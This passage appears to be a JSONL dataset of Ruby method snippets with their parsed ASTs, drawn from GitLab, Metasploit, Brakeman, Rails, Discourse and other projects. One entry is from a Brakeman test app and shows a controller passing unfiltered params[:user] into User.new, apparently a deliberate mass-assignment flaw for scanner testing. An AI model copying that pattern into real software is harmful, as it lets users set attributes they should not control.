type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_parenthesis\"]},\"column\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"sym\",\"children\":[\"first_column_after_left_parenthesis\"]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_brace\"]},\"source_line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\S\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"sym\",\"children\":[\"start_of_line\"]}]}]}]}","id":"5783c04a-cb17-40bb-bc13-29431b7edd0a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/relative_positioning/item_context_spec.rb","start_line":9,"raw_source":"def create_issue(pos)\n    create(:issue, project: project, relative_position: pos)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pos\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_position\"]},{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]}]}]}","id":"fea2f5a9-8749-43e4-9b81-25f979c8cf3d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/merge_requests/mergeability/check_result.rb","start_line":53,"raw_source":"def identifier\n          payload&.fetch(:identifier)&.to_sym\n        end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"identifier\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"identifier\"]}]},\"to_sym\"]}]}","id":"3562019b-988a-43b9-98eb-ed5faa3894ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/oidc/step_up_authentication.rb","start_line":92,"raw_source":"def slice_relevant_id_token_claims(oauth_raw_info:, provider:, scope: SCOPE_ADMIN_MODE)\n            relevant_id_token_claims = [\n              *get_id_token_claims_required_conditions(provider, scope)&.keys,\n              *get_id_token_claims_included_conditions(provider, scope)&.keys\n            ]\n            oauth_raw_info.slice(*relevant_id_token_claims, 'exp')\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"slice_relevant_id_token_claims\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"oauth_raw_info\"]},{\"type\":\"kwarg\",\"children\":[\"provider\"]},{\"type\":\"kwoptarg\",\"children\":[\"scope\",{\"type\":\"const\",\"children\":[null,\"SCOPE_ADMIN_MODE\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relevant_id_token_claims\",{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_id_token_claims_required_conditions\",{\"type\":\"lvar\",\"children\":[\"provider\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]},\"keys\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_id_token_claims_included_conditions\",{\"type\":\"lvar\",\"children\":[\"provider\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]},\"keys\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oauth_raw_info\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relevant_id_token_claims\"]}]},{\"type\":\"str\",\"children\":[\"exp\"]}]}]}]}","id":"eed9d81f-0159-483d-9d62-2899cf726ab6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/experimental/o11y_service_settings_controller_spec.rb","start_line":500,"raw_source":"def build_settings_params(**overrides)\n    {\n      group_id: group.id,\n      o11y_service_name: TEST_SERVICE_NAME,\n      o11y_service_user_email: TEST_EMAIL,\n      o11y_service_password: TEST_PASSWORD,\n      o11y_service_post_message_encryption_key: TEST_ENCRYPTION_KEY\n    }.merge(overrides)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_settings_params\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"overrides\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"o11y_service_name\"]},{\"type\":\"const\",\"children\":[null,\"TEST_SERVICE_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"o11y_service_user_email\"]},{\"type\":\"const\",\"children\":[null,\"TEST_EMAIL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"o11y_service_password\"]},{\"type\":\"const\",\"children\":[null,\"TEST_PASSWORD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"o11y_service_post_message_encryption_key\"]},{\"type\":\"const\",\"children\":[null,\"TEST_ENCRYPTION_KEY\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"overrides\"]}]}]}","id":"2da5ba52-557e-4e0b-bbc1-123ddbf84bf1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ldap.rb","start_line":109,"raw_source":"def read_ber(syntax = nil)\n      unless @wrap_read.nil?\n        if ber_cache.any?\n          return ber_cache.shift\n        end\n        # SASL buffer length\n        length_bytes = read(4)\n        # The implementation in net-ldap returns nil if it doesn't read any data\n        return nil unless length_bytes\n\n        length = length_bytes.unpack('N')[0]\n\n        # Now read the actual data\n        data = read(length)\n\n        # Decrypt it\n        plaintext = @wrap_read.call(data)\n\n        while plaintext.length > 0\n          id = plaintext[0].ord\n          ber_length, used_chars = get_ber_length(plaintext[1,plaintext.length])\n          plaintext = plaintext[1+used_chars, plaintext.length]\n\n          # We may receive several objects in the one packet\n          # Ideally we'd refactor all of ruby-net-ldap to use\n          # yields for this, but it's all a bit messy. So instead,\n          # just store them all and return the next one each time\n          # we're asked.\n          ber_cache.append(parse_ber_object(syntax, id, plaintext[0,ber_length]))\n\n          plaintext = plaintext[ber_length,plaintext.length]\n        end\n\n        return ber_cache.shift\n      else\n        super(syntax)\n      end\n    end","complexity_score":60.95,"ast_json":"{\"type\":\"def\",\"children\":[\"read_ber\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"syntax\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wrap_read\"]},\"nil?\"]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"syntax\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ber_cache\"]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ber_cache\"]},\"shift\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"length_bytes\",{\"type\":\"send\",\"children\":[null,\"read\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length_bytes\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length_bytes\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"read\",{\"type\":\"lvar\",\"children\":[\"length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wrap_read\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"ord\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ber_length\"]},{\"type\":\"lvasgn\",\"children\":[\"used_chars\"]}]},{\"type\":\"send\",\"children\":[null,\"get_ber_length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"[]\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"length\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"+\",{\"type\":\"lvar\",\"children\":[\"used_chars\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ber_cache\"]},\"append\",{\"type\":\"send\",\"children\":[null,\"parse_ber_object\",{\"type\":\"lvar\",\"children\":[\"syntax\"]},{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"ber_length\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"ber_length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"length\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ber_cache\"]},\"shift\"]}]}]}]}]}","id":"cfb234c9-9784-48bf-8ccd-309cb3f74cd9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack.rb","start_line":83,"raw_source":"def self.configure_user_allowlist\n      @user_allowlist = nil\n      user_allowlist\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"configure_user_allowlist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user_allowlist\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"user_allowlist\"]}]}]}","id":"db58b968-79a8-43e8-b1a8-1e25e13c7e9c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/test_flight/build_trains.rb","start_line":33,"raw_source":"def initialize(trains = {})\n      @trains = trains\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"trains\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@trains\",{\"type\":\"lvar\",\"children\":[\"trains\"]}]}]}","id":"4fb0a198-6919-473a-bc47-0b898bf97a74"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/user.rb","start_line":600,"raw_source":"def self.scim_attributes_map\n    {\n      id: :id,\n      externalId: :scim_external_id,\n      userName: :login,\n      name: {\n        givenName: :firstname,\n        familyName: :lastname\n      },\n      emails: [\n        {\n          list: :scim_emails,\n          class: User,\n          using: {\n            value: :value,\n            primary: :primary,\n            type: :type\n          },\n          find_with: Proc.new do |qwe|\n            ScimEmail.new(qwe[\"value\"], qwe[\"primary\"] == true, qwe[\"type\"])\n          end\n        }\n      ],\n      groups: [\n        {\n          list: :groups,\n          using: {\n            value: :id\n          }\n        }\n      ],\n      active: :scim_active\n    }\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"scim_attributes_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"externalId\"]},{\"type\":\"sym\",\"children\":[\"scim_external_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userName\"]},{\"type\":\"sym\",\"children\":[\"login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"givenName\"]},{\"type\":\"sym\",\"children\":[\"firstname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"familyName\"]},{\"type\":\"sym\",\"children\":[\"lastname\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"emails\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"list\"]},{\"type\":\"sym\",\"children\":[\"scim_emails\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"const\",\"children\":[null,\"User\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"using\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary\"]},{\"type\":\"sym\",\"children\":[\"primary\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"type\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"find_with\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"qwe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScimEmail\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qwe\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qwe\"]},\"[]\",{\"type\":\"str\",\"children\":[\"primary\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qwe\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"list\"]},{\"type\":\"sym\",\"children\":[\"groups\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"using\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"sym\",\"children\":[\"scim_active\"]}]}]}]}","id":"7c1c7575-24f4-4701-a470-4e3fda4bbb2f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails4_with_engines/engines/user_removal/app/controllers/users_controller.rb","start_line":45,"raw_source":"def create\n    @user = User.new(params[:user])\n\n    respond_to do |format|\n      if @user.save\n        format.html { redirect_to @user, :notice => 'User was successfully created.' }\n        format.json { render :json => @user, :status => :created, :location => @user }\n      else\n        format.html { render :action => \"new\" }\n        format.json { render :json => @user.errors, :status => :unprocessable_entity }\n      end\n    end\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"str\",\"children\":[\"User was successfully created.\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"created\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"new\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"errors\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}]}]}","id":"549c423a-4e75-477e-bc7e-525ff618c261"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/line_length_help.rb","start_line":24,"raw_source":"def allow_uri?\n        config.for_cop('Layout/LineLength')['AllowURI']\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_uri?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"for_cop\",{\"type\":\"str\",\"children\":[\"Layout/LineLength\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"AllowURI\"]}]}]}","id":"ad1db15b-5451-4c2f-9a7e-24b4b42f96f2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/lib/completions/dialects/dialect_context.rb","start_line":28,"raw_source":"def image_generation_scenario\n    context_and_multi_turn = [\n      { type: :user, id: \"user1\", content: \"draw a cat\" },\n      {\n        type: :tool_call,\n        id: \"tool_id\",\n        content: { name: \"draw\", arguments: { picture: \"Cat\" } }.to_json,\n      },\n      { type: :tool, id: \"tool_id\", content: \"I'm a tool result\".to_json },\n      { type: :user, id: \"user1\", content: \"draw another cat\" },\n    ]\n\n    a_prompt = prompt\n    context_and_multi_turn.each { |msg| a_prompt.push(**msg) }\n\n    dialect(a_prompt).translate\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"image_generation_scenario\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"context_and_multi_turn\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"user1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"draw a cat\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"tool_call\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"tool_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"draw\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"picture\"]},{\"type\":\"str\",\"children\":[\"Cat\"]}]}]}]}]},\"to_json\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"tool\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"tool_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"I'm a tool result\"]},\"to_json\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"user1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"draw another cat\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"a_prompt\",{\"type\":\"send\",\"children\":[null,\"prompt\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context_and_multi_turn\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_prompt\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dialect\",{\"type\":\"lvar\",\"children\":[\"a_prompt\"]}]},\"translate\"]}]}]}","id":"05e291f2-c714-4d4a-b9d3-38b48a69f7ee"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":1002,"raw_source":"def test_with_class\n    controller = ControllerWithFilterClass\n    assert_nothing_raised { test_process(controller, \"no_raise\") }\n    assert_raise(After) { test_process(controller, \"raises_after\") }\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_with_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"controller\",{\"type\":\"const\",\"children\":[null,\"ControllerWithFilterClass\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"test_process\",{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"no_raise\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"After\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"test_process\",{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"raises_after\"]}]}]}]}]}","id":"7ed262d2-858d-430b-937a-84d834cc98cc"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/filters/macro_filter.rb","start_line":36,"raw_source":"def self.register(*macros)\n        self.registered ||= []\n\n        macros.each { |macro| registered << macro }\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"register\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"macros\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"registered\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"macros\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"macro\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registered\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"macro\"]}]}]}]}]}","id":"26bcf320-8fe2-44c6-a6b0-fd8e9dafb169"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/wistia_onebox.rb","start_line":17,"raw_source":"def to_html\n        oembed = get_oembed\n        extracted_url = oembed.html.match(/iframe\\ src\\=\\\"(.*?)\\\"/)\n\n        if extracted_url\n          iframe_src = extracted_url[1]\n\n          <<~HTML\n          <iframe\n            src=\"#{iframe_src}\"\n            width=\"#{oembed.width}\"\n            height=\"#{oembed.height}\"\n            title=\"#{oembed.title}\"\n            frameborder=\"0\"\n            allowfullscreen\n          ></iframe>\n          HTML\n        else\n          oembed.html\n        end\n      end","complexity_score":13.65,"ast_json":"{\"type\":\"def\",\"children\":[\"to_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"oembed\",{\"type\":\"send\",\"children\":[null,\"get_oembed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"extracted_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oembed\"]},\"html\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"iframe\\\\ src\\\\=\\\\\\\"(.*?)\\\\\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted_url\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iframe_src\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted_url\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<iframe\\n\"]},{\"type\":\"str\",\"children\":[\"  